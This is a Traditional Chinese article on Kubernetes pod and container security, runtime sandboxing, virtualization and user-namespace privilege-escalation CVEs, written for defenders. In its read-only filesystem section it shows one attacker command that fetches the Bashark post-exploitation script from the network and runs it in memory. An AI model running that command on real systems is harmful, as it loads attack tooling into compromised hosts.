在 Kubernetes 中,Pod 安全設定直接影響著容器的隔離程度。以下是幾個關鍵的安全引數及其影響:
hostNetwork: 宿主網路存取
spec:
hostNetwork: true
當 Pod 設定了 hostNetwork: true
時,它會完全繞過容器網路隔離,直接使用宿主機的網路堆積積疊。這帶來幾個嚴重的安全風險:
- 可以嗅探宿主機上的所有網路流量
- 能夠傳送偽造的網路封包(需要 CAP_NET_RAW 或 CAP_NET_ADMIN 許可權)
- 繞過網路策略限制
- 存取宿主機上僅繫結在 localhost 的服務
這個引數使得傳統的網路隔離邊界失效。雖然現代應用普遍已經減少了這種模式的使用,但仍需警惕。例如,Kubernetes API Server 的 --insecure-port
直到 v1.10 被棄用並在 v1.20 中完全移除前,就是使用這種模式。
hostIPC: 程式間通訊風險
spec:
hostIPC: true
啟用 hostIPC
讓 Pod 能存取宿主機的程式間通訊名稱空間,這可能導致容器幹擾宿主機上的可信程式。攻擊者可以透過 /usr/bin/ipcs
命令或存取 /dev/shm
中的分享記憶體來取得敏感資訊或進行主機入侵。
容器安全上下文設定
容器的安全上下文(securityContext)是防禦的第二道防線。以下是幾個關鍵設定及其安全意義:
非 root 使用者執行
containers:
- name: app
securityContext:
runAsNonRoot: true
runAsUser: 12345
在 Linux 系統中,root 使用者擁有特殊許可權,即使在容器內許可權有所限制,許多核心程式碼仍會對 root 使用者進行特殊處理。避免使用 root 使用者執行容器是一項簡單而有效的安全措施,能阻止本文中提到的許多容器逃逸攻擊。
建議使用高於 10000 的 UID 執行容器程式,這樣可以降低在沒有使用者名稱空間的情況下逃逸的風險。如果容器內的使用者(例如 UID 12345)在宿主機上也有相同 UID 的使用者,與容器內使用者能夠透過掛載卷或分享名稱空間接觸到宿主機資源,那麼可能會意外分享資源並允許容器逃逸。
唯讀根檔案系統
containers:
- name: app
securityContext:
readOnlyRootFilesystem: true
雖然唯讀根檔案系統能增加攻擊難度,但並不是一個可靠的安全邊界。攻擊者仍可以從網路下載程式碼並透過直譯器(如 Bash、PHP 或 Java)執行,無需使用檔案系統,例如使用 bashark 後滲透工具:
root@r00t:/tmp [0]# source <(curl -s \
https://raw.githubusercontent.com/redcode-labs/Bashark/master/bashark.sh)
# bashark 工具成功載入
bashark_2.0$
上面的例子展示了即使在唯讀檔案系統的環境中,攻擊者仍然可以使用 Bash 的 source 命令直接從網路載入並執行指令碼,完全繞過檔案系統限制。此外,像 /tmp
和 /dev/shm
這樣的位置通常必須保持可寫以支援應用程式行為,這進一步削弱了唯讀檔案系統的防護能力。
為了防禦此類別攻擊,可以使用入侵檢測工具如 Falco 和 Tracee,它們能檢測容器中新啟動的 Bash shell(或任何非白名單應用程式)。特別是 Tracee 還能透過觀察 /proc/pid/maps
來檢測試圖隱藏自己的記憶體中執行的惡意軟體,發現那些曾經是可寫但現在變成可執行的記憶體區域。
容器能力管理
containers:
- name: app
securityContext:
capabilities:
drop: ["ALL"]
add: ["NET_BIND_SERVICE"]
在容器安全管理中,我始終建議先移除所有能力(capabilities),然後只增加應用程式執行所需的最小集合。特別警惕 SYS_ADMIN
能力,這是一個危險訊號 - 應該尋找其他方式佈署需要此能力的容器,或將其佈署到具有自定義安全規則的專用名稱空間中,以限制被入侵的影響。
資源限制
containers:
- name: app
resources:
limits:
cpu: "1"
memory: "512Mi"
requests:
cpu: "0.5"
memory: "256Mi"
設定資源限制不僅有助於資源管理,也是一項重要的安全措施。限制容器可用的記憶體總量可以防止拒絕服務攻擊使宿主機當機,因為當資源耗盡時,容器會先被終止。
資源請求則幫助排程器有效地"封裝"資源。過度請求資源可能是攻擊者試圖將新 Pod 排程到他們控制的另一個節點的嘗試。
卷掛載的安全風險
spec:
volumes:
- name: docker-socket
hostPath:
path: /var/run/docker.sock
掛載宿主機上的 /var/run/docker.sock
是一個嚴重的安全風險,因為它允許容器直接與 Docker 守護程式通訊,從而可能逃逸到宿主機。任何攻擊者可以寫入符號連結的檔案系統都是脆弱的,攻擊者可以利用該路徑探索和竊取宿主機上的資料。
在我的安全稽核工作中,這是我最常見到的嚴重安全錯誤設定之一。許多開發者為了方便而掛載 Docker socket,卻不知道這幾乎等同於給了容器完全的宿主機存取許可權。
容器執行時隔離技術
隨著 Linux 的演進,沙箱和隔離技術已經超越了簡單的虛擬機器(VM),這些技術強化了系統抵禦當前和未來漏洞的能力。有時這些沙箱被稱為微型虛擬機器(micro VM)。
微型虛擬機器的演進
微型虛擬機器結合了之前所有容器和 VM 方法的優點。它們專注於在分享基礎設施上快速佈署和高效能,同時提供強大的隔離保護。這種技術非常適合保護敏感工作負載和資料。
“沙箱化"這個通用術語涵蓋了整個技術範圍:本文中討論的每種工具都結合了軟體和硬體虛擬化技術,並使用 Linux 的 KVM(Kernel Virtual Machine),這是廣泛用於驅動公共雲端服務中的虛擬機器的技術,包括 AWS 和 Google Cloud。
Kubernetes 中的預設執行時
在 Kubernetes 中,預設的容器執行時設定也是安全考量的重要部分。傳統上,kubeadm 安裝的 Kubernetes 使用 runc 作為容器執行時,透過 cri-o 或 containerd 來管理它。舊的 dockershim 執行 runc 的方式在 Kubernetes v1.20 中被移除,因此雖然 Kubernetes 不再使用 Docker,但它仍然使用 Docker 內建的 runc 容器執行時。
這種預設設定雖然方便,但從安全形度來看並不是最佳選擇。runc 雖然穩定與被廣泛使用,但它的隔離能力有限,無法提供與微型虛擬機器相同級別的安全保障。
強化的容器執行時選項
為了增強容器的安全性,業界開發了多種強化的容器執行時,它們提供比傳統 runc 更強的隔離能力:
gVisor:Google 開發的應用核心,它在容器和宿主核心之間提供了一個額外的安全層。
Kata Containers:將容器封裝在輕量級虛擬機器中執行,結合了 VM 的安全性和容器的敏捷性。
Firecracker:由 AWS 開發,專為無伺服器計算工作負載最佳化的微型虛擬機器監視器。
這些強化的執行時相對較新,通常具有較少與不那麼危險的 CVE(通用漏洞披露)記錄,相比核心或更成熟的容器執行時而言。這使得它們成為保護敏感工作負載的理想選擇。
安全與效能的權衡
在選擇容器執行時,需要權衡安全性和效能。強化的執行時通常會帶來一些效能開銷,但對於敏感工作負載,這種開銷是值得的。
我在生產環境中的實踐是採用多層次方法:對於最敏感的工作負載(如處理金融資料或個人身份訊息的應用)使用強化的執行時,而對於一般工作負載則使用標準執行時。這種方法在安全性和資源效率之間取得了平衡。
構建多層防禦策略
保護 Kubernetes 工作負載需要多層防禦策略。單一的安全措施永遠不足以防止所有型別的攻擊。
防禦的關鍵層次
Pod 安全設定:這是第一道防線,確保 Pod 規範中不包含危險的許可權或設定。
容器安全上下文:限制容器內程式的能力和許可權,如非 root 使用者執行和能力管理。
強化的容器執行時:為敏感工作負載選擇提供更強隔離的執行時。
執行時入侵檢測:使用如 Falco 或 Tracee 等工具監控異常行為。
網路策略:實施嚴格的網路策略,限制 Pod 間和外部通訊。
自動化安全測試與政策執行
除了這些技術措施外,還應在 CI/CD 流程中整合安全測試和政策執行:
設定測試:自動化測試以驗證 Pod 和容器設定符合安全最佳實踐。
管道中的預防性控制:在佈署前強制執行安全政策。
入場控制:使用 Kubernetes 准入控制器(如 OPA Gatekeeper 或 Kyverno)在資源建立時強制執行政策。
使用這種多層防禦方法,即使一層防禦被突破,其他層次仍然可以提供保護,大降低成功攻擊的可能性。
容器安全的未來發展
隨著容器技術的持續發展,安全隔離技術也在不斷演進。未來的趨勢包括:
硬體輔助隔離:更多利用 CPU 安全擴充套件來加強容器隔離。
更輕量的虛擬化:進一步減少微型虛擬機器的啟動時間和資源消耗。
自適應安全策略:根據工作負載特性和威脅情報自動調整安全設定。
統一的安全框架:整合容器、Kubernetes 和基礎設施安全的全面解決方案。
容器安全是一個不斷演變的領域,需要持續學習和適應。透過瞭解底層技術和安全風險,並實施多層防禦策略,可以顯著提高 Kubernetes 環境的安全性。
在容器安全領域,保護 Pod 是最基本也是最重要的一環。應用程式碼頻繁變更,可能引入潛在的可利用漏洞,因此強化 Pod 安全設定和選擇適當的容器執行時隔離技術至關重要。安全就像鏈條一樣,只有最弱的環節才能決定整體強度。要實作可證明的安全性,必須使用強大的設定測試、管道和入場控制中的預防性控制和策略,以及執行時入侵檢測,因為沒有任何防禦措施是萬無一失的。
Kubernetes 容器執行時與安全隔離機制
Kubernetes 作為雲原生應用的主流協調平台,其安全性很大程度上取決於容器執行時的隔離能力。在現代容器架構中,Kubernetes 可透過三種主要方式消費 runc 容器執行時:CRI-O、containerd 和 Docker。這些介面各有特點,為不同的安全需求提供了基礎。
容器執行時的選擇與安全考量
容器執行時是連線 Kubernetes 與底層系統的關鍵橋樑。在實際佈署環境中,我發現選擇適合的容器執行時不僅關係到效能表現,更直接影響系統的安全邊界。以 containerd 為例,它提供了更精簡的介面,減少了潛在的攻擊面,而 CRI-O 則專為 Kubernetes 設計,去除了不必要的功能。
在設計高安全性要求的系統時,我通常會優先考慮專注於單一職責的執行時,因為它們通常具有更小的攻擊面。這也是為什麼在後續章節中,我們會深入討論各種容器執行時的安全特性與適用場景。
威脅模型:理解工作負載隔離的必要性
在討論容器安全之前,必須先理解為什麼需要隔離工作負載。從安全形度來看,工作負載隔離主要有兩個原因:保護敏感工作負載不被未授權存取,以及防止不受信任的工作負載對系統造成危害。
敏感工作負載的保護策略
敏感工作負載是那些包含重要資料或程式碼,不容許未授權存取的系統。實際上,這些工作負載可能包括:
- 詐欺檢測系統
- 定價引擎
- 高頻交易演算法
- 個人識別資訊(PII)
- 財務記錄
- 可能在其他系統中重複使用的密碼
- 機器學習模型
- 組織的"秘密配方”
這些敏感工作負載就像數位世界中的珍寶,需要特殊的保護機制來確保其安全。
不受信任工作負載的安全挑戰
相對於敏感工作負載,不受信任的工作負載可能對系統構成威脅。這些工作負載通常包括:
- 雲端服務提供商虛擬機器上的工作負載
- 面臨構建時供應鏈攻擊風險的 CI/CD 基礎設施
- 處理複雜檔案的轉碼系統,可能存在解析器錯誤
- 含有已公開或疑似零日漏洞(CVE)的軟體
在我的實踐中,當面對必須執行但存在已知漏洞的關鍵業務軟體時,增強隔離措施是減少潛在影響的有效策略。這種方法並不能修復漏洞本身,但可以限制其被利用後的影響範圍。
值得注意的是,對於執行不受信任工作負載的主機來說,威脅來源是工作負載或程式本身。透過沙箱化程式並限制其可用的系統 API,可以減少主機向程式暴露的攻擊面。即使該程式被入侵,對主機的風險也會降低。
BCTL 系統的安全風險分析
以 BCTL 系統為例,它允許使用者上載檔案以匯入資料和運輸清單,因此存在威脅行為者可能嘗試上載格式錯誤或惡意檔案,以強制產生可利用的軟體錯誤的風險。執行批次轉換和處理工作負載的 Pod 是沙箱化的良好候選物件,因為它們處理的是不受信任的輸入。
不受信任輸入的風險
任何由使用者提供給應用程式的資料都可以被視為不受信任的,但大多數輸入會以某種方式進行消毒(例如,驗證整數或字串型別)。然而,像 PDF 或影片這樣的複雜檔案無法以這種方式進行消毒,它們依賴於編碼函式庫的安全性,而這些函式庫有時並不安全。這型別的漏洞通常是"可逃逸的",如 ImageTragick 等知名漏洞。
全面的威脅模型考量
在設計容器安全策略時,我發現全面的威脅模型需要考慮以下幾點:
- 不受信任的使用者輸入觸發工作負載中的漏洞,攻擊者利用此執行惡意程式碼
- 敏感應用被入侵,攻擊者嘗試竊取資料
- 受感染節點上的惡意使用者嘗試讀取主機上其他程式的記憶體
- 新的沙箱化程式碼測試不充分,可能包含可利用的漏洞
- 容器映像構建從未經驗證的外部來源提取惡意依賴項和程式碼
值得注意的是,現有的容器執行時已經預設了一些強化措施。例如,Docker 使用預設的 seccomp 和 AppArmor 設定檔,這些設定檔會停用大量未使用的系統呼叫。然而,這些措施在 Kubernetes 中並未預設啟用,需要透過准入控制或 PodSecurityPolicy 強制執行。在 v1.22 版本中,SeccompDefault=true
kubelet 特性可以還原這種容器執行時的預設行為。
容器、虛擬機器與沙箱:技術比較與演進
瞭解了威脅模型後,讓我們探討虛擬化技術:它是什麼,為什麼我們使用容器,以及如何結合容器和虛擬機器的優點。
容器與虛擬機器的根本差異
容器和虛擬機器之間的主要區別在於容器存在於分享的主機核心上。虛擬機器每次啟動時都會啟動一個核心,使用硬體輔助虛擬化,並具有更安全但傳統上較慢的執行時環境。
一種常見的認知是,容器針對速度和可移植性進行了最佳化,而虛擬機器則犧牲了這些特性以換取更強大的惡意行為隔離和更高的容錯能力。但實際上,這種認知並不完全正確。
技術融合:容器與虛擬機器的共同演進
在我多年的容器技術實踐中,我觀察到容器和虛擬機器技術分享許多核心中的共同程式碼路徑。這兩種技術像共同繞軌道執行的恆星,從未完全擺脫彼此的引力。容器執行時本質上是一種核心虛擬化形式,而 OCI(開放容器倡議)容器映像規範已成為標準化的容器佈署原子單元。
下一代沙箱技術結合了容器和虛擬化技術,透過在使用者空間或隔離的客戶環境中模擬核心功能,減少工作負載對內核的存取,從而減少主機對沙箱內程式的攻擊面。定義良好的介面有助於降低複雜性,最小化未經測試的程式碼路徑的機會。此外,透過與 containerd 整合,它們還能夠與 OCI 映像互動,並使用軟體代理(“shim”)連線兩個不同的介面,可用於 Kubernetes 等協調器。
沙箱技術的實際應用場景
這些沙箱技術對公共雲提供商尤為重要,因為多租戶和資源密集封裝對它們來說利潤豐厚。像 Google Cloud Functions 和 AWS Lambda 這樣的密集多租戶系統執行著"不受信任的程式碼即服務",這些隔離軟體源於雲廠商的安全需求,目的是將無伺服器執行時與其他租戶隔離開來。
雲提供商使用虛擬機器作為計算的原子單元,但也可能將根虛擬機器程式包裝在類別似容器的技術中。客戶然後使用虛擬機器來執行容器——這是一種虛擬化的巢狀。
虛擬化技術的深度解析
傳統虛擬化與微型虛擬機器的比較
傳統虛擬化在軟體中模擬物理硬體架構。而微型虛擬機器則模擬盡可能小的 API,去除像 I/O 裝置甚至系統呼叫等功能,以確保最小許可權原則。然而,它們仍然執行相同的 Linux 核心程式碼來執行低階程式操作,如記憶體對映和開啟通訊端——只是增加了額外的安全抽象層來建立預設安全的執行時環境。
在我設計高安全系統時,我發現即使虛擬機器不像容器那樣分享大量核心,某些系統呼叫仍然必須由主機核心執行。這一點在設計隔離策略時尤為重要。
安全與效能的平衡藝術
軟體抽象需要 CPU 時間來執行,因此虛擬化必須始終在安全性和效能之間取得平衡。理論上可以增加足夠多的抽象和間接層,使程式被認為是"高度安全的",但這種極致安全性很可能會導致糟糕的使用者經驗。
Unikernels 則走向了另一個方向,它們透過跟蹤程式的執行,然後移除幾乎所有未被程式使用的核心功能。但可觀察性和可除錯性的缺失可能是 Unikernels 未能廣泛採用的原因。
虛擬機器技術的工作原理
虛擬機器及相關技術雖然自 1950 年代末就已存在,但由於 1990 年代缺乏硬體支援而暫時消亡。在此期間,“程式虛擬機器"變得更為流行,特別是 Java 虛擬機器(JVM)。在本文中,我們專門討論系統虛擬機器:一種不繫結於特定程式語言的虛擬化形式,如 KVM/QEMU、VMware、Xen、VirtualBox 等。
虛擬機器研究始於 1960 年代,目的是在多個使用者和程式之間分享大型、昂貴的物理機器。為了安全地分享物理主機,必須在租戶之間強制執行某種程度的隔離——特別是在面對敵對租戶的情況下,應該有更強的隔離機制以減少漏洞被利用時的潛在影響。
在實際佈署中,我經常需要在不同的虛擬化技術間做出選擇。這些選擇不僅關係到系統的安全性,還會影響佈署的複雜度和維運成本。理解各種虛擬化型別的權衡和妥協至關重要。
現代沙箱技術的安全特性
現代容器沙箱技術結合了虛擬機器的強隔離特性和容器的輕量級優勢。在設計高安全容器環境時,我特別關注以下幾個關鍵點:
- 最小許可權原則:沙箱技術透過限制容器可存取的系統呼叫和資源,實作最小許可權原則
- 核心功能隔離:減少容器與主機內核的直接互動,降低核心漏洞被利用的風險
- 資源控制精確度:提供更精確的資源分配和限制機制,防止資源耗盡攻擊
- 執行時監控:整合更強大的監控能力,及時發現異常行為
這些特性使得現代沙箱技術能夠在保持容器便利性的同時,提供接近虛擬機器級別的安全隔離。
容器和虛擬機器技術在雲原生時代不斷融合演進,沙箱化技術則代表了兩者優勢的結合。理解威脅模型是選擇適當隔離策略的基礎,無論是保護敏感工作負載還是限制不受信任工作負載的影響範圍。
在實際應用中,安全與效能的平衡永遠是核心考量。新一代的容器沙箱技術透過精細化的許可權控制和資源隔離,為 Kubernetes 環境提供了更強大的安全保障,同時保持了容器技術的敏捷特性。
隨著雲原生技術的不斷發展,容器安全隔離技術也將繼續演進,為處理敏感資料和不受信任工作負載提供更加強大和靈活的解決方案。在設計容器化應用時,應根據具體的威脅模型和業務需求,選擇適當的隔離技術和安全策略。
虛擬化技術:安全與效能的平衡藝術
虛擬化技術是現代雲端運算的根本,它透過硬體、軟體或兩者協作的方式,讓多個使用者能夠安全地分享同一套實體硬體資源。這項技術成為推動公有雲普及的關鍵引擎,因為它提供了程式、記憶體和實體主機資源的安全分享與隔離機制。
在實務中,虛擬化技術將主機劃分為多個隔離的計算單元,這些單元傳統上被稱為客體(guest)。這些客體與主機 CPU 和裝置之上的虛擬化層互動,該層會攔截系統呼叫並自行處理:要麼將請求代理到主機核心,要麼直接處理請求,在可能的情況下執行核心的工作。
虛擬化的分類別與實作方式
虛擬化技術主要分為兩大類別:
- 完全虛擬化(如 VMware):模擬硬體並在客體內啟動完整的核心
- 作業系統級虛擬化(如容器):模擬主機核心(透過名稱空間、cgroups、capabilities 和 seccomp),直接在主機核心上啟動容器化程式
值得注意的是,容器中的程式與虛擬機器中的程式分享許多核心路徑和安全機制。這種分享特性既帶來效能優勢,也帶來了安全風險。
虛擬機器架構深度解析
要啟動一個核心,客體作業系統需要存取主機功能的子集,包括:
- BIOS 例程
- 裝置和外設(如鍵盤、圖形/控制檯存取、儲存和網路)
- 中斷控制器和間隔計時器
- 熵源(用於隨機數種子)
- 執行所需的記憶體位址空間
在每個客體虛擬機器內部,存在一個可以執行程式(或工作負載)的環境。虛擬機器本身由一個特權父程式擁有,該程式管理其設定和與主機的互動,稱為虛擬機器監視器(Virtual Machine Monitor,VMM)。這在早期也被稱為虛擬機器管理程式(hypervisor),但隨著新技術的發展,這種區分變得模糊,因此更傾向於使用原始術語 VMM。
Linux 中的虛擬化實作技術
KVM 與 QEMU:Linux 的虛擬化根本
Linux 內建了一個名為 KVM(Kernel-based Virtual Machine)的虛擬機器管理器,允許主機核心執行虛擬機器。KVM 與 QEMU 協同工作:
- QEMU:模擬實體裝置,為客體提供記憶體管理
- KVM:利用處理器的硬體虛擬化功能加速虛擬機器執行
這種組合使作業系統可以被客體 OS 和 QEMU 完全模擬。與 Xen 虛擬機器管理程式相比,KVM+QEMU 的模擬方式縮小了虛擬機器和主機核心之間的介面,減少了虛擬機器內部程式可以直接存取的核心程式碼數量,從而提供了更高階別的隔離,降低了未知核心漏洞的風險。
KVM 與 Xen 架構差異
KVM 與 Xen 的架構差異反映了不同的設計理念:KVM 作為 Linux 核心模組執行,讓 Linux 本身充當虛擬機器管理程式;而 Xen 採用微核心設計,執行在硬體之上,然後載入特權域(Dom0)來管理其他虛擬機器。這種架構差異直接影響了安全隔離的實作方式和效能特性。
虛擬化的不完美性
儘管業界投入了數十年的努力,但實踐中沒有任何虛擬機器能與其實體機器完全等價。這主要是由於模擬硬體的複雜性所致。這種不完美性也許是個好事,因為它降低了我們生活在模擬中的可能性。
虛擬化的安全優勢與權衡
與所有安全技術一樣,虛擬化必須在效能和安全之間取得平衡:透過執行時最少數量的額外檢查來降低工作負載執行的風險。
容器安全的挑戰
對於容器而言,分享主機核心是潛在的容器逃逸途徑。Linux 核心主要用 C 語言編寫,這種語言存在記憶體管理和範圍檢查漏洞類別,歷來難以完全根除。許多應用程式在受到模糊測試(fuzzing)時都暴露出這些可利用的漏洞。
這種風險意味著我們需要將惡意程式碼遠離受信任的介面,以防它們存在零日漏洞。這是一種相當嚴肅的防禦立場——目的是減少攻擊者使用 Linux 零日漏洞的機會視窗。
零日漏洞防禦思路
在安全設計中,我們不能假設所有程式碼都是安全的。即使是經過嚴格審查的 Linux 核心,也可能存在未知漏洞。因此,多層防禦策略至關重要:即使攻擊者突破了一層防禦(如容器隔離),仍需面對其他安全層(如 seccomp 過濾器或 SELinux 策略),大增加攻擊成本。
Google OSS-Fuzz 的誕生
Google 的 OSS-Fuzz 專案誕生於 Heartbleed OpenSSL 漏洞風波之後,該漏洞可能在野外肆虐長達兩年之久。像 OpenSSL 這樣支撐網際網路的關鍵專案資金不足,而開放原始碼社群中存在大量善意,因此在漏洞被利用之前發現這些漏洞是保護關鍵軟體的重要步驟。
沙箱模型:抽象層防禦
沙箱模型透過抽象層來防禦零日漏洞。它將程式從 Linux 系統呼叫介面移開,減少利用機會,使用各種容器和功能、LSM(Linux 安全模組)和核心模組、硬體和軟體虛擬化以及專用驅動程式。
最近的沙箱多使用 Golang 或 Rust 等型別安全語言,這使它們的記憶體管理比 C 語言程式更安全(C 需要手動與容易出錯的記憶體管理)。
容器技術的安全分析
容器與核心互動機制
容器直接與主機核心通訊,但 LSM、capabilities 和名稱空間等層確保它們不具有完整的主機核心存取許可權。相比之下,虛擬機器不分享一個核心,而是使用客體核心(在虛擬機器管理程式中執行的專用核心)。這意味著如果虛擬機器的客體核心被攻破,攻擊者還需要更多工作才能突破虛擬機器管理程式並進入主機。
容器執行時架構
容器由低階容器執行時建立,而使用者通常與控制它的高階容器執行時互動。這形成了一個分層架構:
- 容器管理階層:包括 Kubernetes、Docker 和 Podman,它們與各自的函式庫和執行時互動
- 中間層:Kubernetes 叢集互動的容器執行時
- 低階執行時:負責啟動和管理容器
低階容器執行時直接負責啟動和管理容器,與核心介面以建立名稱空間和設定,最後在容器中啟動程式。它還負責處理容器內的程式,並在執行時將其系統呼叫傳遞到主機核心。
容器抽象層次的安全意義
容器技術的多層抽象不僅提供了操作便利性,也為安全性提供了多重保障。每一層都可以實施不同的安全控制:高階管理階層可以實施策略和許可權管理,中間層負責資源隔離和設定安全,而低階執行時則直接與核心安全機制互動。這種分層設計使得安全控制可以在最合適的層級實施,同時保持整體系統的可管理性。
使用者名稱空間的安全隱患
Linux 最初的核心假設是:root 使用者始終在主機名稱空間中。這一假設在沒有其他名稱空間時是成立的。但隨著使用者名稱空間的引入(最後一個主要完成的核心名稱空間),情況發生了變化:開發使用者名稱空間需要對涉及 root 使用者的程式碼進行許多修改。
使用者 ID 對映機制
使用者名稱空間允許將容器內的使用者對映到主機上的其他使用者,因此容器內的 ID 0(root)可以在捲上建立檔案,從容器內看這些檔案似乎由 root 擁有。但當從主機檢查同一個卷時,它們顯示為由 root 對映到的使用者擁有(例如,使用者 ID 1000 或 110000)。
值得注意的是,使用者名稱空間在 Kubernetes 中尚未啟用,儘管已有工作正在進行中以支援它們。
Linux “一切皆檔案” 的影響
在 Linux 中,一切皆為檔案,而檔案由使用者擁有。這使得使用者名稱空間影響廣泛與複雜,它們曾是 Linux 先前版本中許可權提升漏洞的來源。例如:
CVE-2013-1858(使用者名稱空間與 CLONE_FS):Linux 核心 3.8.3 之前的 clone 系統呼叫實作未能正確處理 CLONE_NEWUSER 和 CLONE_FS 標誌的組合,這允許本地使用者透過呼叫 chroot 並利用父程式和子程式之間分享 / 目錄來獲得許可權。
名稱空間漏洞的本質
這類別漏洞的本質在於名稱空間之間的互動複雜性。當不同型別的名稱空間(如使用者名稱空間和檔案系統名稱空間)需要協同工作時,可能出現邏輯缺陷。特別是當涉及許可權檢查時,一個名稱空間的假設可能與另一個名稱空間的行為不相容,從而創造出攻擊者可以利用的條件。這些漏洞通常需要深入理解 Linux 核心的內部工作原理才能發現和修復。
虛擬化技術的安全實踐
在實際佈署中,我們需要根據安全需求和資源限制選擇適當的虛擬化技術。以下是一些關鍵實踐建議:
- 多層防禦:不要僅依賴單一隔離機制,而應結合多種安全技術
- 最小許可權原則:無論是容器還是虛擬機器,都應遵循最小許可權原則
- 安全更新:保持核心和容器執行時的安全更新
- 監控與稽核:實施強大的監控系統,及時發現異常行為
- 安全基線:為容器和虛擬機器建立安全基線設定
容器安全增強技術
為了提升容器安全性,可以採用一系列技術措施:
- seccomp 過濾器:限制容器可以使用的系統呼叫
- AppArmor/SELinux:實施強制存取控制
- capabilities 限制:細粒度控制容器許可權
- 只讀檔案系統:減少攻擊面
- 執行時完整性驗證:確保容器映像未被篡改
深度防禦策略
在容器安全中,深度防禦策略尤為重要。每一層安全控制都針對不同的攻擊向量:seccomp 限制系統呼叫降低核心攻擊面,AppArmor/SELinux 控制資源存取,capabilities 限制特權操作,而只讀檔案系統則防止持久化攻擊。這些機制協同工作,即使一層被突破,其他層仍能提供保護,大增加了攻擊的難度和成本。
虛擬化安全的未來發展
隨著雲端技術的發展,虛擬化安全也在不斷演進。一些值得關注的趨勢包括:
- 無核心容器:減少對分享核心的依賴,提高隔離級別
- 硬體輔助虛擬化:利用 CPU 的安全擴充套件提高隔離效能
- 微虛擬化:結合容器的輕量級和虛擬機器的安全隔離
- 零信任架構:將安全控制從邊界轉移到每個工作負載
- AI 輔助安全監控:利用機器學習識別異常行為
虛擬化技術的安全性是一個動態平衡的過程,需要不斷適應新的威脅和需求。理解虛擬化的基本原理和安全機制,有助於設計更安全的系統架構。
虛擬化技術在提供便利的同時也帶來了安全挑戰。透過深入理解虛擬機器和容器的工作原理、安全隔離機制以及潛在漏洞,我們可以更好地設計和佈署安全的虛擬化環境。關鍵在於平衡安全性和效能,採用多層防禦策略,並保持對新興威脅和安全技術的關注。無論是選擇傳統虛擬機器還是現代容器技術,瞭解其安全邊界和適用場景都是確保系統安全的基礎。
容器安全的致命缺陷:使用者名稱空間漏洞分析
在容器技術蓬勃發展的今日,安全性已成為採用容器技術時的首要考量。雖然容器本身並非天生不安全,但其執行機制中仍存在許多潛在的安全漏洞。特別是與使用者名稱空間(User Namespace)相關的漏洞,更是值得我們深入研究。
使用者名稱空間相關的關鍵CVE漏洞
CVE-2014-4014:名稱空間與chmod許可權繞過
Linux 3.14.8版本之前的核心在處理inode與名稱空間的關係時存在一個嚴重漏洞。這個漏洞的核心問題在於:
# 攻擊者可以執行以下操作來繞過chmod限制
# 1. 首先建立一個使用者名稱空間
# 2. 然後設定具有root群組所有權的檔案上的setgid位
這個漏洞的技術本質是Linux核心沒有正確考慮到名稱空間不適用於inode的事實。在Linux系統中,inode是檔案系統中的基本單元,包含檔案的中繼資料。攻擊者可以先建立使用者名稱空間,然後利用這個漏洞在具有root群組所有權的檔案上設定setgid位,從而繞過原本嚴格的chmod權限制。這相當於在許可權模型中開啟了一個側門,允許普通使用者獲得提升的許可權。
CVE-2015-1328:使用者名稱空間與OverlayFS漏洞
這個漏洞特別影響了Ubuntu系統(15.04版本之前)中的Linux核心:
# 漏洞利用步驟
# 1. 利用OverlayFS在上層檔案系統目錄建立檔案
# 2. 系統未正確檢查檔案建立的許可權
# 3. 結合任意掛載名稱空間中允許的OverlayFS設定
# 4. 最終取得root許可權
OverlayFS是一種聯合檔案系統,常用於容器技術中以實作層疊式的檔案系統。這個漏洞的核心問題在於OverlayFS實作中沒有正確檢查上層檔案系統目錄中檔案建立的許可權。當OverlayFS被設定為允許在任意掛載名稱空間中使用時,本地使用者可以利用這個漏洞取得root存取許可權。這是一個典型的許可權檢查不完整導致的提權漏洞,特別危險的是它直接允許攻擊者獲得系統最高許可權。
CVE-2018-18955:使用者名稱空間與複雜ID對映漏洞
Linux核心4.15.x至4.19.2版本中存在一個嚴重的漏洞:
# 漏洞技術細節
# 1. 核心中的map_write()函式在處理巢狀使用者名稱空間時存在缺陷
# 2. 特別是當有超過5個UID或GID範圍時出現問題
# 3. 擁有CAP_SYS_ADMIN許可權的使用者可以繞過名稱空間外資源的存取控制
# 4. 例如:讀取/etc/shadow檔案
這個漏洞的精妙之處在於ID轉換的不對稱性。當從名稱空間到核心方向進行ID轉換時,轉換正常進行;但從核心到名稱空間方向時,轉換卻失敗了。這導致在某些情況下,具有CAP_SYS_ADMIN能力的使用者可以存取名稱空間之外的資源,如讀取通常只有root使用者才能存取的/etc/shadow檔案。這個漏洞揭示了在處理複雜的名稱空間巢狀和ID對映時,即使是經驗豐富的核心開發者也可能忽略某些邊緣情況。
容器安全的根本問題:root許可權與容器執行時
容器技術並非天生不安全,但如同我們在實際應用中所觀察到的,它們可能會洩漏主機的某些訊息,而與以root身份執行的容器執行時是潛在的攻擊路徑。
root容器執行時的歷史安全漏洞
傳統上,許多容器操作如建立網路介面卡和掛載主機磁碟等,都需要root許可權。這使得在容器技術普及的最初十年中,root容器執行時成為唯一可行的選擇。然而,這種設計也帶來了嚴重的安全隱患:
CVE-2019-5736:從容器內部替換runc二進位檔案
# 攻擊者可以透過以下步驟執行攻擊
# 1. 從容器內部存取/proc/self/exe
# 2. 替換主機上的runc二進位檔案
# 3. 獲得主機root許可權
這個漏洞允許攻擊者從容器內部存取並替換主機上的runc二進位檔案。runc是Docker、Podman等容器執行時使用的底層執行器,它通常以root身份執行。透過替換這個二進位檔案,攻擊者可以在主機上執行任意程式碼,完全控制主機系統。這個漏洞的危險性在於它打破了容器與主機之間的隔離邊界,是容器安全中最嚴重的漏洞型別之一。
CVE-2019-14271:利用docker cp命令從容器內攻擊主機
# 漏洞利用步驟
# 1. 利用docker cp命令的漏洞
# 2. 從容器內部發起攻擊
# 3. 影響主機安全
這個漏洞存在於Docker的cp命令實作中。當使用者使用docker cp命令在容器和主機之間複製檔案時,惡意容器可以利用這個過程攻擊主機系統。具體來說,攻擊者可以建構特殊的檔案或路徑,在複製過程中觸發漏洞,從而在主機上執行未授權的操作。這再次說明瞭容器與主機之間的互動點是安全隱患的高發區域。
無根容器:提升容器安全性的新方向
為了緩解與root許可權相關的安全隱患,無根容器(Rootless Containers)技術應運而生。這種技術允許在"非特權使用者名稱空間"模式下建立容器,使用非root使用者在其自己的使用者名稱空間內執行容器。
無根容器的核心優勢
無根容器的核心優勢在於降低了許可權提升的風險:
# 無根容器的安全邊界
# 1. 建立容器的低階執行時程式由非特權使用者擁有
# 2. 容器突破後只能逃逸到非root使用者
